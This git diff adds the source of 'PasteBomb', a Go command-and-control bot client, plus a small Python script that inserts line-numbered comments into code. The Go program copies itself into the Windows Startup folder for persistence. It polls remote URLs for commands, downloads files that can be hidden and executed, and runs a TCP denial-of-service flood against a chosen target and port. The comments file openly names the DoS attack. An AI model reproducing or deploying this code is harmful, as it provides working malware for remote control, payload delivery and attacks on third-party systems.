diff --git a/.gitignore b/.gitignore index 3b735ec..d535c1e 100644 --- a/.gitignore +++ b/.gitignore @@ -7,7 +7,7 @@ *.dll *.so *.dylib - +.idea/ # Test binary, built with `go test -c` *.test diff --git a/.idea/.gitignore b/.idea/.gitignore deleted file mode 100644 index 13566b8..0000000 --- a/.idea/.gitignore +++ /dev/null @@ -1,8 +0,0 @@ -# Default ignored files -/shelf/ -/workspace.xml -# Editor-based HTTP Client requests -/httpRequests/ -# Datasource local storage ignored files -/dataSources/ -/dataSources.local.xml diff --git a/.idea/PasteBomb.iml b/.idea/PasteBomb.iml deleted file mode 100644 index 5e764c4..0000000 --- a/.idea/PasteBomb.iml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml deleted file mode 100644 index 113541c..0000000 --- a/.idea/modules.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml deleted file mode 100644 index 35eb1dd..0000000 --- a/.idea/vcs.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/autoc.py b/autoc.py new file mode 100755 index 0000000..0dddeb0 --- /dev/null +++ b/autoc.py @@ -0,0 +1,34 @@ +#!/usr/bin/python3 + +def parse_comments_file(comments_file_path): + comments = {} + with open(comments_file_path, 'r') as file: + for line in file: + if ': ' in line: + line_num, comment = line.split(': ', 1) + if line_num.isdigit(): + comments[int(line_num)] = comment.strip() + return comments + +def add_comments_to_code(code_file_path, comments): + with open(code_file_path, 'r') as file: + code_lines = file.readlines() + + for line_num, comment in comments.items(): + if line_num - 1 < len(code_lines): + code_lines[line_num - 1] = comment + '\n' + code_lines[line_num - 1] + + with open(code_file_path, 'w') as file: + file.writelines(code_lines) + +def main(): + comments_file_path = input("Enter the path to the comments file: ") + code_file_path = input("Enter the path to the code file: ") + + comments = parse_comments_file(comments_file_path) + add_comments_to_code(code_file_path, comments) + + print("Comments have been added to the code file.") + +if __name__ == "__main__": + main() diff --git a/comments.autoc b/comments.autoc new file mode 100644 index 0000000..f0f7aa0 --- /dev/null +++ b/comments.autoc @@ -0,0 +1,55 @@ +1: // Package declaration + +3: // TODO comments to track future enhancements and testing requirements + +17: // Import statements to include necessary packages + +19: // Function to check if the program is running with administrative privileges on Windows + +24: // Function to copy a file from a source path (src) to a destination path (dst) + +32: // Function to copy the executable to the startup folder on Windows + +44: // Checks if the program is running with administrative privileges and sets the startup path accordingly + +51: // Copies the executable to the startup folder and prints the result + +61: // Function to execute a shell script named "otherScript.sh" + +68: // Function to determine the OS and set the program to run at startup accordingly + +74: // Struct defining the configuration with URL and backup URLs + +79: // Function to download a file from a URL and optionally run or hide it after downloading + +92: // Checks the HTTP response and proceeds only if successful + +100: // Writes the downloaded content to a file + +108: // Optionally hides the file on the filesystem + +118: // Optionally runs the downloaded file + +130: // Function to display a message in a temporary HTML file and open it in a browser + +144: // Function to open the temporary HTML file in the default web browser + +153: // Function to load the configuration from a JSON file + +168: // Function to fetch a command from a list of URLs provided in the Config struct + +184: // Function to generate a random string of a specified length + +195: // Function to perform a Denial of Service (DoS) attack on a specified target and port for a duration + +211: // Function to parse and execute commands received as strings + +238: // Function to execute a system command with the provided name and arguments + +251: // The main function, entry point of the program + +253: // Sets the seed for the random number generator + +255: // Loads configuration from a file + +262: // Infinite loop to fetch and execute commands at a regular interval diff --git a/main.temp b/main.temp new file mode 100644 index 0000000..2a26f50 --- /dev/null +++ b/main.temp @@ -0,0 +1,354 @@ +package main + +// TODO: add autostart for linux and darwin +// TODO: do testing on linux +// TODO: do testing on linux with admin privileges +// TODO: do testing on darwin +// TODO: do testing on darwin with admin privileges +// TODO: do testing on windows +// TODO: do testing on windows with admin privileges +import ( + "encoding/json" + "fmt" + "io" + "io/ioutil" + "math/rand" + "net" + "net/http" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "sync" + "time" +) + +func isAdmin() (bool, error) { + _, err := os.Open("\\\\.\\PHYSICALDRIVE0") + if err != nil { + if strings.Contains(err.Error(), "Access is denied") { + return false, nil + } + return false, err + } + return true, nil +} + +func copyFile(src, dst string) error { + input, err := os.ReadFile(src) + if err != nil { + return err + } + + err = os.WriteFile(dst, input, 0644) + return err +} + +func copyToStartup(executablePath string) { + var startupPath string + admin, err := isAdmin() + if err != nil { + fmt.Println("Error checking admin privileges:", err) + return + } + + if admin { + startupPath = filepath.Join(os.Getenv("ProgramData"), "Microsoft\\Windows\\Start Menu\\Programs\\StartUp") + } else { + startupPath = filepath.Join(os.Getenv("APPDATA"), "Microsoft\\Windows\\Start Menu\\Programs\\Startup") + } + + destPath := filepath.Join(startupPath, filepath.Base(executablePath)) + + err = copyFile(executablePath, destPath) + if err != nil { + fmt.Println("Error copying file:", err) + } else { + fmt.Println("Successfully copied to startup folder:", destPath) + } +} + +func executeOtherScript() { + cmd := exec.Command("/bin/sh", "otherScript.sh") + if err := cmd.Run(); err != nil { + fmt.Println("Error executing other script:", err) + } else { + fmt.Println("Successfully executed other script.") + } +} + +func runAtStartup() { + if runtime.GOOS == "windows" { + executable, err := os.Executable() + if err != nil { + fmt.Println("Error getting executable path:", err) + return + } + copyToStartup(executable) + } else { + executeOtherScript() + } +} + +type Config struct { + URL string `json:"url"` + BackupURLs []string `json:"backups"` +} + +func downloadFile(url, filename string, run, hide bool) error { + resp, err := http.Get(url) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("HTTP request failed with status code %d", resp.StatusCode) + } + + out, err := os.Create(filename) + if err != nil { + return err + } + defer out.Close() + + _, err = io.Copy(out, resp.Body) + if err != nil { + return err + } + + if hide { + if runtime.GOOS == "windows" { + err := exec.Command("attrib", "+H", filename).Run() + if err != nil { + return fmt.Errorf("failed to hide the file: %v", err) + } + } else { + hiddenFilename := "." + filename + err := os.Rename(filename, hiddenFilename) + if err != nil { + return fmt.Errorf("failed to rename the file: %v", err) + } + filename = hiddenFilename + } + } + if run { + var cmd *exec.Cmd + if runtime.GOOS == "windows" { + cmd = exec.Command("cmd", "/C", "start", filename) + } else { + os.Chmod(filename, 0755) + cmd = exec.Command("./" + filename) + } + cmd.Run() + } + + return nil +} + +func displayMessageInHTML(message string) { + + tmpfile, err := ioutil.TempFile("", "message-*.html") + if err != nil { + fmt.Printf("Error creating a temporary file: %s\n", err) + return + } + defer tmpfile.Close() + + htmlContent := fmt.Sprintf("

%s

", message) + if _, err := tmpfile.Write([]byte(htmlContent)); err != nil { + fmt.Printf("Error writing to temporary file: %s\n", err) + return + } + + openBrowser(tmpfile.Name()) +} + +func openBrowser(url string) { + var err error + + switch runtime.GOOS { + case "linux": + err = exec.Command("xdg-open", url).Start() + case "windows": + err = exec.Command("rundll32", "url.dll,FileProtocolHandler", url).Start() + case "darwin": + err = exec.Command("open", url).Start() + default: + err = fmt.Errorf("unsupported platform") + } + + if err != nil { + fmt.Printf("Error opening browser: %s\n", err) + } +} + +func LoadConfig(path string) (*Config, error) { + file, err := os.Open(path) + if err != nil { + return nil, err + } + defer file.Close() + + var config Config + decoder := json.NewDecoder(file) + err = decoder.Decode(&config) + if err != nil { + return nil, err + } + + return &config, nil +} + +func FetchCommand(config *Config) (string, error) { + urls := append([]string{config.URL}, config.BackupURLs...) + for _, url := range urls { + resp, err := http.Get(url + "?nocache=" + generateRandomString(20)) + if err == nil && resp.StatusCode == http.StatusOK { + body, err := ioutil.ReadAll(resp.Body) + resp.Body.Close() + if err != nil { + continue + } + return string(body), nil + } + } + return "", fmt.Errorf("all URLs failed") +} + +func generateRandomString(length int) string { + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + b := make([]byte, length) + for i := range b { + b[i] = charset[rand.Intn(len(charset))] + } + return string(b) +} +func DOS(target string, port string, duration time.Duration) { + endTime := time.Now().Add(duration) + var wg sync.WaitGroup + + send := func() { + defer wg.Done() + conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", target, port)) + if err != nil { + fmt.Println(err) + return + } + defer conn.Close() + + _, err = conn.Write([]byte("GET / HTTP/1.1\r\n\r\n")) + if err != nil { + fmt.Println(err) + return + } + } + + for time.Now().Before(endTime) { + wg.Add(1) + go send() + time.Sleep(10 * time.Millisecond) + } + + wg.Wait() +} + +func ParseCommand(command string) error { + commands := strings.Split(command, "\n") + for _, cmd := range commands { + parts := strings.Fields(cmd) + if len(parts) == 0 { + continue + } + + switch parts[0] { + case "popmsg": + if len(parts) > 1 { + message := strings.Join(parts[1:], " ") + displayMessageInHTML(message) + } + case "download": + if len(parts) >= 3 { + url := parts[1] + filename := parts[2] + + run := false + hide := false + + for _, part := range parts[3:] { + if part == "RUN" { + run = true + } else if part == "HIDE" { + hide = true + } + } + + err := downloadFile(url, filename, run, hide) + if err != nil { + fmt.Printf("Error downloading file: %s\n", err) + } + } else { + fmt.Println("Invalid download command. Usage: download [url] [filename] [RUN] [HIDE]") + } + + default: + if strings.HasPrefix(cmd, "dos ") { + info := strings.TrimSpace(strings.TrimPrefix(cmd, "dos ")) + parts := strings.Fields(info) + if len(parts) < 3 { + return fmt.Errorf("Usage: dos ") + } + + target := parts[0] + port := parts[1] + durationStr := parts[2] + + duration, err := time.ParseDuration(durationStr + "s") + if err != nil { + return fmt.Errorf("Invalid duration: %s", durationStr) + } + + DOS(target, port, duration) + } + } + + } + return nil +} + +func executeSystemCommand(name string, args []string) { + cmd := exec.Command(name, args...) + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + err := cmd.Run() + if err != nil { + fmt.Printf("Error executing command '%s': %s\n", name, err) + } +} + +func main() { + fmt.Println("Starting program...") + rand.Seed(time.Now().UnixNano()) + + config, err := LoadConfig("config.json") + if err != nil { + fmt.Printf("Error loading config: %s\n", err) + os.Exit(1) + } + + for { + + command, err := FetchCommand(config) + if err != nil { + fmt.Printf("Error fetching command: %s\n", err) + time.Sleep(60 * time.Second) + continue + } + + fmt.Printf("Received command: %s\n", command) + ParseCommand(command) + + time.Sleep(60 * time.Second) + } +}